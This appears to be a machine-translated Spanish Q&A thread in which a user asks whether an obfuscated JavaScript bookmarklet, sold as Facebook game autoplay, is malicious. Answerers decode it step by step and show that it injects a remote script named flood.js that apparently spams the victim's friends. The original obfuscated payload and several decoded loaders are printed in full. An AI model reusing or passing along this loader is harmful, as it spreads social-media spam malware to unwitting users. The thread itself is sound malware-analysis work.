2011-07-02 18 views
8

lo encontré en un foro que me dice que este código me daría la reproducción automática de los juegos de Facebook, pero me temo que esto no es lo que dicen, me temo que este es un script maliciosoPuede alguien descifrar este JavaScript

por favor ayuda :)

javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0); 
+1

Definitivamente * * ve como que utiliza la ofuscación similar a los scripts maliciosos. – Piskvor

Respuesta

11

Vamos a empezar por la decodificación de las secuencias de escape, y deshacerse de ese _0x8dd5 nombre de la variable:

var x=[ 
    "src","script","createElement","http://ug-radio.co.cc/flood.js", 
    "appendChild","body" 
]; 
(a=(b=document)[x[2]](x[1]))[x[0]]=x[3]; 
b[x[5]][x[4]](a); 
void (0); 

La sustitución de la cadena de la matriz, lo que queda es:

(a=(b=document)["createElement"]("script"))["src"]="http://ug-radio.co.cc/flood.js"; 
b["body"]["appendChild"](a); 
void (0); 

Por lo tanto, lo que el guión hace es simplemente:

a = document.createElement("script"); 
a.src = "http://ug-radio.co.cc/flood.js"; 
document.body.appendChild(a); 
void (0); 

es decir, carga el Javascript http://ug-radio.co.cc/flood.js en la página.

En cuanto a la secuencia de comandos en el archivo que se carga, se llama a sí mismo "Wallflood Por X-Cisadane". Parece obtener una lista de tus amigos y publicar un mensaje para (o tal vez de) todos ellos.

Ciertamente, nada que ver con la reproducción automática para los juegos.

+0

gracias, no estoy muy familiarizado con JS pero su explicación es muy clara para la gente como yo señor, muchas gracias :) – xzanrzk

4

Bueno, el var declarada en realidad es la siguiente:

var _0x8dd5= [ 
    'src', 'script', 'cx7 2eateElement', 
    'x 68ttp://ug-rad io.co.cc/flox 6Fd.js', 'appendC x68ild', 'body' 
]; 

el resto es sencillo de entender.

+0

Bueno, quiero darte unos millones de votos a favor para descubrir eso antes que yo. Pero todo lo que puedo dar es uno :) – mihsathe

+0

¿Por qué el \ x72 no se convierte en una r? Lo mismo para \ x68 para h? (Noté que hizo lo mismo en jsfiddle) – jglouie

+0

¿cómo puedes hacer eso, señor? por cierto, muchas gracias :) – xzanrzk

6

Abrí Firebug y pegué parte de la secuencia de comandos en la consola (teniendo cuidado de solo pegar la parte que creó una variable, en lugar de ejecutar el código). Esto es lo que tengo:

lo pegué:

console.log(["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"]); 

el resultado:

["src", "script", "cx7 2eateElement", "x 68ttp://ug-rad io.co.cc/flox 6Fd.js", "appendC x68ild", "body"] 

En resumen, el aspecto que tiene es script para cargar un archivo JavaScript externo desde un servidor remoto con un nombre de dominio muy dudoso.

Hay algunos caracteres que no se convierten bastante a lo que cabría esperar. Esto podría ser errores tipográficos (improbables) u ofuscación adicional deliberada, para engañar a cualquier corrector de malware automático que busque guiones que contengan URL o referencias al createElement, etc. El resto del guión los vuelve a colocar en su lugar individualmente antes de ejecutarlo.

El nombre de la variable _0x8dd5 se elige a mirar como código hexadecimal y hacer que todo sea más difícil de leer, pero en realidad es sólo un nombre de variable Javascript regular. Se hace referencia repetidas veces en el resto del guión, ya que copia caracteres de una parte de la cadena a otra para corregir los vacíos deliberados.

Definitivamente un script malicioso.

¡Recomiendo quemarlo inmediatamente! ;-)

1

bien su primera declaración es la creación de una matriz con más o menos los siguientes contenidos:

var _0x8dd5 = ["src", "script", "createElement", "http://ug-radio.co.cc/flood.js", "appendChild", "body"]; 

Digo "casi" porque estoy usando la consola JavaScript de Chrome para analizar los datos, y algunas cosas parece ser un poco confuso. He limpiado las partes distorsionadas lo mejor que puedo.

El resto parece estar llamando a algo en la línea de:

var b = document; 
var a = b.createElement("script"); 
a.src = "http://ug-radio.co.cc/flood.js"; 
b.body.appendChild(a); 

Así que, básicamente, que es la adición de un script (probablemente malicioso) al documento.

+0

muchas gracias por la ayuda lo siento, no sé mucho sobre js :) – xzanrzk

1

Es muy probable que sepa cómo decodificar esto o cómo se codificó, pero para aquellos que no están seguros, no es más que una secuencia de escape hexadecimal de 2 dígitos. También podría ser de 4 dígitos uno usando \ udddd (por ejemplo, "\ u0032" es "2") o \ ddd para octal.

Decoding hex string in javascript

Cuestiones relacionadas